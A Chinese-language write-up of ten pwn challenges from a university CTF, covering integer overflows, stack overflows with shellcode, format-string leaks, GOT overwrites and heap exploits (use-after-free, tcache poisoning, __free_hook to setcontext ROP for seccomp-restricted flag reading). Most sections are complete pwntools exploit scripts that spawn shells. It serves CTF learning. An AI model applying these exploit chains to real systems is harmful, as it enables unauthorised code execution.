校赛十道PWN题 Write Up
本次负责校赛的同学出了十道PWN,大概涵盖了pwn的基本打法。
本writeup题目排序与难度无关。题目文件。
致整数溢出的你
如题,这题考验整数溢出
第一关
求两个数满足
a-b=114,0<=a<114,0<=b<114
逻辑上看上去不合理,实际上问题出在程序中,查看反汇编的程序:
1 puts("1.a-b=114,0<=a<114,0<=b<114");
2 fgets(s, 14, stdin);
3 fgets(nptr, 14, stdin);
4 if ( strchr(s, 45) )
5 return 0;
6 if ( strchr(nptr, 45) )
7 return 0;
8 v1 = atoi(s);
9 result = v1 - atoi(nptr);
10 if ( result == 114 )
11 {
12 result = atoi(s);
13 if ( result <= 113 )
14 {
15 result = atoi(nptr);
16 if ( result <= 113 )
17 {
18 puts("Good!");
19 return 1;
20 }
21 }
22 }
判断变量>=0
的方式是strchr(s, 45)
,也就是只检查输入时是否是负数,我们可以构造溢出数来组成任意负数,使其满足a-b==114
第二关
2.a*b=514,a>514,b>514
本题可以从二进制上思考,514=0b1000000010
,在前方填充足够的0,直至超出32位,再添若干个1,以此为结果,期望:该大数可以分解为两个大于514的数。
借助在线工具质因数分解,如
4294967810=0b100000000000000000000001000000010=137*7*5*2*447859=447859*9590
第三关
3.a/b=ERROR,b!=0
分母为0是非常常见的溢出,但这里不允许分母是0,实际上结果溢出也是会产生异常的,可以从这方面入手。
EXP
1.a-b=114,0<=a<114,0<=b<114
6666666666
6666666552
Good!
2.a*b=514,a>514,b>514
447859 9590
Good!
3.a/b=ERROR,b!=0
2147483648 -1
You got it!
GOOD JOB!
scanf大小姐想让我告白
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开了,用的是略新的libc2.31。
题目是个简单的计算器,出现漏洞的是乘法:
1unsigned __int64 sub_14B9()
2{
3 int v1; // [rsp+0h] [rbp-120h] BYREF
4 int i; // [rsp+4h] [rbp-11Ch]
5 unsigned int v3; // [rsp+8h] [rbp-118h]
6 int j; // [rsp+Ch] [rbp-114h]
7 char v5[264]; // [rsp+10h] [rbp-110h] BYREF
8 unsigned __int64 v6; // [rsp+118h] [rbp-8h]
9
10 v6 = __readfsqword(0x28u);
11 puts("************** input size of number: ");
12 __isoc99_scanf("%d", &v1);
13 for ( i = 0; i < v1; ++i )
14 __isoc99_scanf("%hhd", &v5[i]);
15 printf("your input is %s", v5);
16 v3 = 1;
17 for ( j = 0; j < v1; ++j )
18 v3 = (unsigned __int8)(v3 * v5[j]);
19 printf("result is %d\n", v3);
20 return __readfsqword(0x28u) ^ v6;
21}
可以看到,可以输入任意数量的字符,很容易造成栈溢出,关键在于如何泄露libc和处理canary。
由于只能溢出一次,如何同时泄露libc的情况下处理好canary?注意到输入字符后,还打印了出来,由于这个数组开的很大并且没有进行初始化,经过尝试后发现确实存在一个printf函数在一定偏移上出现,可以在溢出前先得到。至于canary,由于可以输入的数量很多,我首先想到的是Star Ctf 2018 Babystack的覆盖TLS(Thread Local Storage)保存的canary,在此耗费了一定的时间,非常惭愧,过了很久才意识到,由于数组开的很大,可以通过同样的方式泄露之前栈上就存在的canary。而最后返回地址就覆盖为one_gadget。
EXP
1io.sendlineafter('option:', b'3')
2num = 40
3io.sendlineafter(b'number: \n', str(num).encode())
4
5for i in range(0, num-8):
6 io.sendline(b'97')
7deadbeef = 'deadbeef'
8for i in range(0, 8):
9 c = deadbeef[i]
10 x = ord(c)
11 io.sendline(str(x).encode())
12
13offset = 0x61d3f # (printf+175)
14
15addr = io.recvuntil(b'result').split(b'deadbeef')[1] # get rid of prefix
16addr = addr[:-6] # get rid of 'result'
17addr = u64(addr.ljust(8, b"\x00"))
18libc_base = addr - offset
19print(hex(libc_base))
20
21# leak canary
22io.sendlineafter('option:', b'3')
23num = 72 + 1 # for canary
24io.sendlineafter(b'number: \n', str(num).encode())
25
26for i in range(0, num-8):
27 io.sendline(b'97')
28deadbeef = 'deadbeef'
29for i in range(0, 8):
30 x = ord(deadbeef[i])
31 io.sendline(str(x).encode())
32
33canary = io.recvuntil(b'result').split(b'deadbeef')[1] # get rid of prefix
34canary = canary[:7]
35print(canary)
36canary = u64(canary.ljust(8, b"\x00")) << 8
37print(hex(canary))
38
39# one_gadget = 0xe3afe
40one_gadget = 0xe3b01
41# one_gadget = 0xe3b04
42one_gadget = one_gadget + libc_base
43
44pd = 264 * b'A' + p64(canary) + 8 * b'B'
45pd += p64(one_gadget)
46
47io.sendlineafter('option:', b'1')
48num = len(pd)
49io.sendlineafter(b'number: \n', str(num).encode())
50
51for i in range(0, num):
52 x = pd[i]
53 io.sendline(str(x).encode())
54
55io.interactive()
shellcode学妹想要玩
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
有RWX段,直接考虑在栈上跑shellcode。
简单排查,发现漏洞函数,栈溢出,但是只能覆盖到返回地址。
1ssize_t sub_885()
2{
3 __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
4 int v2; // [rsp+2Ch] [rbp-4h]
5
6 memset(buf, 0, sizeof(buf));
7 v2 = 1;
8 return read(0, buf, 0x39uLL);
9}
同时发现main函数里面有个jmp rbx
, 往上找发现漏洞函数输入字符串buf的地址放到了里面,所以需要输入一个足够短的shellcode,然后在jmp前面有个分支跳转的条件写死的,必须要跳过,栈溢出只能覆盖到返回地址的最后一个字节,不过也足够了,由于PIE的特性,地址的最后一个半字节是不变的,因此改就完事了(partial write)。
EXP
1sc = '''
2xor rsi, rsi
3push rsi
4mov rdi, 0x68732f2f6e69622f
5push rdi
6push rsp
7pop rdi
8mov al, 59
9cdq
10syscall
11'''
12sc = asm(sc)
13
14io.recvuntil(b"it?\n")
15
16pd = sc + b'A' * (0x38 - len(sc)) + b'\x2A'
17io.sendline(pd)
18
19io.interactive()
pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
这个就没啥保护,而且又显然常规栈溢出+RWX段,直接打shellcode就行。
EXP
1context.arch="amd64"
2shellcode=asm(shellcraft.sh())
3
4name=0x601080
5io.recvuntil("name\n")
6io.sendline(shellcode)
7
8io.recvuntil("?\n")
9payload=b"A"*0x28+p64(name)
10
11io.sendline(payload)
12
13io.interactive()
pwn2
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
没有PIE,同时给了lic-2.27
发现格式化字符串漏洞
1 read(0, buf, 0x32uLL);
2 v0 = (const char *)sub_4009F0(buf);
3 strcpy(dest, v0);
4 puts("your name is ");
5 printf(dest);
但是输入的字符需要经过sub_4009F0
函数处理,此函数起转换编码的作用,我们所有输入的字符都会比对生成的字典中的位置变成对应的0~63的数,实际上就是6比特的数,经过一系列奇怪转换变成8比特的数,字符串整体长度变为原来的3/4,有点像base64。总之需要写个解码函数。
1table = 'QWER7YUI0PASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m123456T89O'
2danger = []
3for c in table:
4 danger.append(ord(c))
5s = "secret"
6
7def init():
8 t1 = 0
9 t2 = 0
10 l1 = [0] * 64
11 l2 = [0] * 72
12 for i in range(0, 64):
13 l1[i] = i
14 l2[i] = ord(s[i % len(s)])
15
16 for j in range(0, 64):
17 t2 = (l2[j] + t2 + (l1[j] & 63)) % 64
18 t1 = danger[l1[j] & 63]
19 danger[l1[j] & 63] = danger[l1[t2] & 63]
20 danger[l1[t2] & 63] = t1
21
22def encrypt(target):
23 if len(target) % 3 != 0:
24 for _ in range(3 - len(target) % 3):
25 target += b'|'
26 t = []
27 for c in target:
28 t.append(c)
29 res = []
30 for i in range(0, len(t), 3):
31 d = t[i+2] & 63
32 c = t[i+2] >> 6
33 c |= t[i+1] << 2
34 c = c & 63
35 b = t[i+1] >> 4
36 b |= t[i+0] << 4
37 b = b & 63
38 a = t[i+0] >> 2
39 res.append(danger[a])
40 res.append(danger[b])
41 res.append(danger[c])
42 res.append(danger[d])
43 return bytes(res)
至此,我们可以利用格式化字符串泄露出libc基址,偏移为22:
b'dyCMdyw9dKsWwgsewP7W' =>b'AAAABBBB.%22$p.'
your name is
AAAABBBB.0x4242424241414141.this is a gift for you
接下来发现,main函数最后存在任意地址写3个字节的辅助:
1 puts("this is a gift for you");
2 for ( i = 0; i <= 2; ++i )
3 {
4 read(0, buf, 8uLL);
5 read(0, buf[0], 1uLL);
6 }
由于没有开PIE,可以考虑修改exit
函数GOT改到该循环开始,实现无限修改。接下来把one_gadget改到put
函数GOT上(需要改6个字节),最后把exit改了退出无限循环。
EXP
1init()
2puts_got = 0x602020
3# pd = b'AAAAAAAA' + b'%22$s'
4pd = b'%23$s|||' + p64(puts_got)
5print(pd)
6io.sendlineafter(b'name\n', encrypt(pd))
7io.recvuntil(b'name is \n')
8puts_ad = io.recv().split(b'|')[0]
9puts_ad = u64(puts_ad.ljust(8, b"\x00"))
10
11libc_base = puts_ad - libc.symbols['puts']
12
13print(hex(puts_ad))
14print(hex(libc_base))
15
16exit_got = 0x602060
17main_ad = 0x400C13
18reloop_ad = 0x400C8e
19start_ad = 0x400750
20final = 0x400C66
21
22one_gadget = libc_base + 0x10a38c
23
24for i in range(0, 3):
25 io.send(p64(exit_got+i))
26 io.send(p64(reloop_ad)[i].to_bytes(1, "big"))
27
28for i in range(0, 6):
29 io.send(p64(puts_got+i))
30 io.send(p64(one_gadget)[i].to_bytes(1, "big"))
31
32for i in range(0, 3):
33 io.send(p64(exit_got+i))
34 io.send(p64(final)[i].to_bytes(1, "big"))
35
36io.interactive()
pwn3
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开。文件名是orw,看一下沙箱规则:
1$ seccomp-tools dump ./pwn3
2 line CODE JT JF K
3=================================
4 0000: 0x20 0x00 0x00 0x00000004 A = arch
5 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
6 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
7 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
8 0004: 0x06 0x00 0x00 0x00000000 return KILL
9 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
就是标准的不允许execve
。给的libc版本是2.31的,有点麻烦,等会儿说。
这个程序的功能是堆对象(题中的)的CRUD(Create, read, update and delete)功能的实现:
1 puts("1.add game");
2 puts("2.delete game");
3 puts("3.edit game");
4 puts("4.show game");
5 puts("5.exit game");
堆最大可申请到2453,最多申请31个,条件比较松。主要漏洞是,free
后并没有将地址置零,存在UAF(Use-After-Free)。
首先考虑如何泄露libc基址,最常见的方法就是unsorted bin
,仅有一个空闲对象时,双向链表指针指向main_arena
,利用其于__malloc_hook
的偏移,求出libc基址。注意由于这个libc版本堆会先给到tcache,装满七个后才放到unsorted bin
中去。
如果想要直接修改返回地址做ROP,考虑如何从libc地址得到栈地址(利用__environ
)的方法,但是略有些麻烦。最后打算劫持__free_hook
到setcontext
把栈转移到设计好的堆上。
首先要泄露堆地址,这个比较简单,因为UAF,可以直接读到tcache空闲链表偏移固定的指向栈开头某个位置的地址,提前算好偏移就行。
接下来要解决setcontext
的问题,可以看一下libc的代码:
;In setcontext()...
.text:0000000000054F8D mov rsp, [rdx+0A0h]
.text:0000000000054F94 mov rbx, [rdx+80h]
.text:0000000000054F9B mov rbp, [rdx+78h]
.text:0000000000054F9F mov r12, [rdx+48h]
.text:0000000000054FA3 mov r13, [rdx+50h]
.text:0000000000054FA7 mov r14, [rdx+58h]
.text:0000000000054FAB mov r15, [rdx+60h]
.text:0000000000054FAF test dword ptr fs:48h, 2
.text:0000000000054FBB jz loc_55076
.text:0000000000054FC1 mov rsi, [rdx+3A8h]
.text:0000000000054FC8 mov rdi, rsi
.text:0000000000054FCB mov rcx, [rdx+3B0h]
.text:0000000000054FD2 cmp rcx, fs:78h
.text:0000000000054FDB jz short loc_55015
...
.text:0000000000055076 mov rcx, [rdx+0A8h]
.text:000000000005507D push rcx <-- 这里会入栈一次,要设法避开,不细说了
.text:000000000005507E mov rsi, [rdx+70h]
...
.text:000000000005509C xor eax, eax
.text:000000000005509E retn
一般上直接跳到修改rsp
寄存器的位置上。可以发现这里几乎可以修改所有寄存器的值,用起来是很方便的。但是有一点不好就是取值的偏移是相对rdx
的(某个版本之前是相对rdi
的)。所以在这之前要先控制rdx
。
由rdi
控制rdx
常用的gadget:
0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
然后是ROP的流程,收集其余的gadget
10x0000000000047400 : pop rax ; ret
20x0000000000023b72 : pop rdi ; ret
30x000000000002604f : pop rsi ; ret
40x0000000000042047 : push rax ; ret
5...
6$ ropper --asm "syscall;ret"
70f05c3
8$ ropper --file libc-2.31.so --opcode "0f05c3"
9Opcode
10======
110x00000000000630d9: 0f05c3;
120x0000000000083f9c: 0f05c3;
13...
设一个大一点的堆,把数好好的布置一下,依次通过ROP实现open
,read
,write
就好了。
EXP
1def add(num, data=b''):
2 io.recvuntil(b'>> ')
3 io.sendline(b'1')
4 io.sendlineafter(b'tion:\n', str(num).encode())
5 io.sendlineafter(b'tion:\n', data)
6
7def delete(idx):
8 io.recvuntil(b'>> ')
9 io.sendline(b'2')
10 io.sendlineafter(b'index: ', str(idx).encode())
11
12def edit(idx, data):
13 io.recvuntil(b'>> ')
14 io.sendline(b'3')
15 io.sendlineafter(b'index: ', str(idx).encode())
16 io.sendlineafter(b'tion:\n', data)
17
18def show(idx):
19 io.recvuntil(b'>> ')
20 io.sendline(b'4')
21 io.sendlineafter(b'index: ', str(idx).encode())
22 rst = io.recvuntil(b'\nshow done.').split(b'\n')[0]
23 return rst
24
25main_arena_offset = libc.symbols["__malloc_hook"] + 0x70
26
27add(0x100) # 0
28add(0x10) # 1
29
30# 2 ~ 8
31for id in range(2, 9):
32 add(0x100)
33for id in range(2, 9):
34 delete(id)
35
36delete(0)
37addr = show(0)
38addr = u64(addr.ljust(8, b"\x00"))
39libc_base = addr - main_arena_offset
40print('libc_base ', hex(libc_base))
41addr = show(3)
42addr = u64(addr.ljust(8, b"\x00"))
43heap_base = addr - 976 # todo
44print('heap_base ', hex(heap_base))
45
46free_hook = libc_base + libc.symbols["__free_hook"]
47setcontext_offset = libc_base + 0x54f8d
48# mov rdx, qword ptr [rdi + 8] ; mov qword ptr [fake_stack], rax ; call qword ptr [rdx + 0x20]
49heaven_door = libc_base + 0x1518b0
50pop_rax = libc_base + 0x47400
51pop_rdi = libc_base + 0x23b72
52pop_rsi = libc_base + 0x2604f
53syscall_ret = libc_base + 0x630d9
54
55add(0x10) # 9 same place in 0,
56add(0x10) # 10
57add(0xE0) # 11 whatever, fill the unsortbin
58delete(10)
59delete(9)
60
61fake_chk_fd = free_hook
62edit(0, p64(fake_chk_fd))
63add(0x10, b'AAAA') # 12
64
65print(hex(fake_chk_fd), '<-', hex(heaven_door))
66add(0x10, p64(heaven_door)) # 13
67
68rdx = heap_base + 0xC30 + 0x10
69fake_stack = rdx + 0x400
70rbp = fake_stack - 0x8
71n_rbp = fake_stack - 0x8
72file_addr = rdx
73
74ropper = [
75 pop_rax, # sys_open('flag', 0)
76 2,
77 syscall_ret,
78 pop_rax, # sys_read(flag_fd, heap, 0x100)
79 0,
80 pop_rdi,
81 3,
82 pop_rsi,
83 fake_stack + 0x200,
84 syscall_ret,
85 pop_rax, # sys_write(1, heap, 0x100)
86 1,
87 pop_rdi,
88 1,
89 pop_rsi,
90 fake_stack + 0x200,
91 syscall_ret
92]
93# ropper = p64(pop_rsi) + p64(0) + p64(pop_rdi) + b"flag\x00\x00\x00\x00" + flat(ropper)
94ropper = flat(ropper)
95rcx = ropper[:8] # setcontext includes a `push rcx`
96ropper = ropper[8:]
97
98rdx_zone = b'flag\x00\x00\x00\x00' + 0x18 * b'A' + p64(setcontext_offset)
99rdx_zone += ( 0x68 - len(rdx_zone) ) * b'A' + p64(file_addr) + p64(0) # rdi, rsi
100rdx_zone += ( 0x78 - len(rdx_zone) ) * b'B' + p64(rbp)
101rdx_zone += ( 0x88 - len(rdx_zone) ) * b'C' + p64(0x100) # rdx for syscall
102rdx_zone += ( 0xA0 - len(rdx_zone) ) * b'D' + p64(fake_stack) + rcx
103rdx_zone += ( 0x400 - 0x8 - len(rdx_zone) ) * b'E' + p64(n_rbp) + ropper
104rdx_zone += ( 0x600 - len(rdx_zone) ) * b'F' + b'deafbeef'
105
106pd = b'A' * 8 + p64(rdx) + rdx_zone
107
108add(0x900, pd) # 14 start from base+0xC30
109
110delete(14) # activate ROP
111
112# pwnlib.gdb.attach(io)
113io.interactive()
pet simulator
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
没有给libc,有点坑。
ldd pet
linux-vdso.so.1 (0x00007fff182b6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffacb966000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffacbb72000)
每一次新建宠物,申请堆大小为0x58 = 0x28 (Breed) + 0x30 (Name)
命名Name
操作可读入0x50个字符,存在0x20个字符的溢出。
注意到comment
方法会给一个很大的堆空间直接给到了unsorted bin
,利用main_arena
其于__malloc_hook
的偏移,求出libc基址。然后劫持free_hook
到system("/bin/sh")
来getshell,由于没有给libc,就没有去试one_gadget。
远程一直打不通,后来给libc了……
EXP
1def draw():
2 io.recvuntil(b'> ')
3 io.sendline(b'1')
4
5def namecat(id, data):
6 io.recvuntil(b'> ')
7 io.sendline(b'2')
8 io.sendlineafter(b'idx?\n> ', str(id).encode())
9 io.sendline(data)
10
11def show(id):
12 io.recvuntil(b'> ')
13 io.sendline(b'3')
14 io.sendlineafter(b'idx?\n> ', str(id).encode())
15 io.recvuntil(b'ENDENDD\n')
16 rst = io.recvuntil(b'- Operation Menu -').split(b'\n\n- Operation Menu -')[0][-6:]
17 return rst
18
19def abandon(id):
20 io.recvuntil(b'> ')
21 io.sendline(b'4')
22 io.sendlineafter(b'> ', str(id).encode())
23
24def comment(data=b''):
25 io.recvuntil(b'> ')
26 io.sendline(b'5')
27 io.sendline(data)
28
29draw()
30draw()
31comment()
32draw()
33namecat(2, b'deadbeef' * 6 + b'ENDENDD')
34addr = show(2)
35addr = u64(addr.ljust(8, b"\x00"))
36print('main_arena', hex(addr))
37
38pd = b'deadbeef' * 6 + p64(0x4B1) + p64(addr) + p64(addr)
39namecat(2, pd)
40
41malloc_hook = addr - 0x70
42
43libc = LibcSearcher("__malloc_hook", malloc_hook)
44libc_base = malloc_hook - libc.dump("__malloc_hook")
45print('libc_base', hex(libc_base))
46
47system = libc_base + libc.dump("system")
48
49free_hook = libc_base + libc.dump("__free_hook")
50print('free_hook', hex(free_hook))
51print('malloc_hook', hex(malloc_hook))
52
53target = free_hook - 0x28
54
55abandon(2)
56abandon(1)
57pd = b'deadbeef' * 7 + b'ENDENDD'
58namecat(0, pd)
59ori = show(0)
60ori = u64(ori.ljust(8, b"\x00"))
61print(hex(ori))
62pd = b'deadbeef' * 6 + p64(0x61) + p64(target) + p64(ori)
63namecat(0, pd)
64draw()
65draw()
66
67pd = p64(system)
68namecat(2, pd)
69
70pd = b'deadbeef' * 6 + p64(0x61) + b'/bin/sh\x00'
71namecat(0, pd)
72abandon(1)
73
74io.interactive()
fmtstr
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
格式化字符串漏洞入门题,保护基本没开。
泄露偏移
Please login:
Username:ABCDEFGH%14$p
Hello, ABCDEFGH0x4847464544434241
泄露出password,然后发回去,就好了
EXP
1pd_addr = 0x4040C0
2
3p.recvuntil(b'Username:')
4pad = b'%15$sEND' + p64(pd_addr)
5p.sendline(pad)
6p.recvuntil(b'Hello, ')
7
8info = p.recvline()
9passwd = info.split(b'END')[0]
10
11p.recvuntil(b'Password:')
12
13p.sendline(passwd)
14
15p.recv()
16
17p.interact()
babycontact
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
啥也没开。
发现edit选项里的判断有问题:
1 if ( v1 < 0 && v1 >= contact_num )
2 return puts("Error: Invalid index");
3 if ( pinned[64 * (__int64)contact_num] )
4 ...
主要是以上两处判断,直接导致了可以任意指定内存修改(虽然限制比较大,只能改那个数据地址的64倍数的偏移,而且最多一次改30个字符)
发现了有system("cat flag")
,于是考虑覆写GOT,由于条件的限制,试了几次,改scanf
比较合适,由于一次操作会同时修改两个地方(坑),要保持初始值。
EXP
1vul_addr = 0x401722
2
3def add(name, number):
4 p.sendline(b'2')
5 p.recvuntil(b'contact name:')
6 p.sendline(name)
7 p.recvuntil(b'phone-number:')
8 p.sendline(number)
9
10def delete(id):
11 p.sendline(b'3')
12 p.recvuntil(b'index:')
13 p.sendline(id)
14
15def edit(id, name, number):
16 p.sendline(b'4')
17 p.recvuntil(b'index:')
18 p.sendline(id)
19 p.recvuntil(b'contact name:')
20 p.sendline(name)
21 p.recvuntil(b'phone-number:')
22 p.sendline(number)
23
24p.recvuntil(b'-QUIT-')
25
26for _ in range(2):
27 p.recvuntil(b'option> ')
28 add(b'Jet', b'Jet')
29
30p.recvuntil(b'option> ')
31delete(b'0')
32
33p.recvuntil(b'option> ')
34pad = p64(vul_addr)
35pad = pad[:-1]
36edit(b'-2', p64(0x401056)[:-1], p64(vul_addr)[:-1])
37
38# p.recv()
39p.interactive()
babyheap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
这题也是堆利用,大小比较小,基本上就是tcache或者fastbin了。漏洞是edit的时候可以指定更大的大小导致堆溢出覆盖。给了cat flag
函数,思路就是把exit的GOT改成这个函数就好。
在远端不成功:
Error in `./run': malloc(): memory corruption (fast): 0x0000000000404078
发现是fastbin的问题
1// fastbin
2#define fastbin_index(sz) ((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
3#define chunksize(p) ((p)->size & ~(SIZE_BITS))
4if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
5 {
6 errstr = "malloc(): memory corruption (fast)";
7 errout:
8 malloc_printerr(check_action, errstr, chunk2mem(victim), av);
9 return NULL;
10 }
而我本地是高版本libc,首先存的地方是单独为tcache,和fastbin很像,只不过指针偏移了0x10,修改后即可打通。
EXP
1def create(idx, num, data):
2 io.recvuntil(b"option>")
3 io.sendline(b'2')
4 io.sendlineafter(b'index:\n', str(idx).encode())
5 io.sendlineafter(b'(16~80):\n', str(num).encode())
6 io.sendlineafter(b'content:\n', data)
7
8def delete(idx):
9 io.recvuntil(b"option>")
10 io.sendline(b'3')
11 io.sendlineafter(b'index:\n', str(idx).encode())
12
13def edit(idx, data):
14 io.recvuntil(b"option>")
15 io.sendline(b'4')
16 io.sendlineafter(b'index:\n', str(idx).encode())
17 io.sendlineafter(b'content:\n', data)
18
19fake_chk = 0x404148 # data address of No.8
20# here may differ with different libc, on my machine
21# it should be 0x404158(chunk_address + 0x10) which is
22# considerd as *fd, but remotely it actually needs the
23# chunk struct head address
24
25vulner_func = 0x4016DD
26exit_got = 0x404068
27
28# generate the '0x21' in the bss of storing the data size from No.8
29create(9, 33, b'X' * 16)
30# delete(9)
31
32create(0, 16, b'A' * 16)
33create(1, 16, b'B' * 16)
34create(2, 16, b'C' * 16)
35delete(2)
36delete(1)
37
38pd = 16 * b'J' + p64(0) + p64(0x21) + p64(fake_chk)
39edit(0, pd)
40
41create(2, 16, b'D' * 16)
42pd = p64(exit_got)
43create(3, 16, pd)
44
45pd = p64(vulner_func)
46edit(9, pd)
47
48io.sendline(b'5')
49
50io.interactive()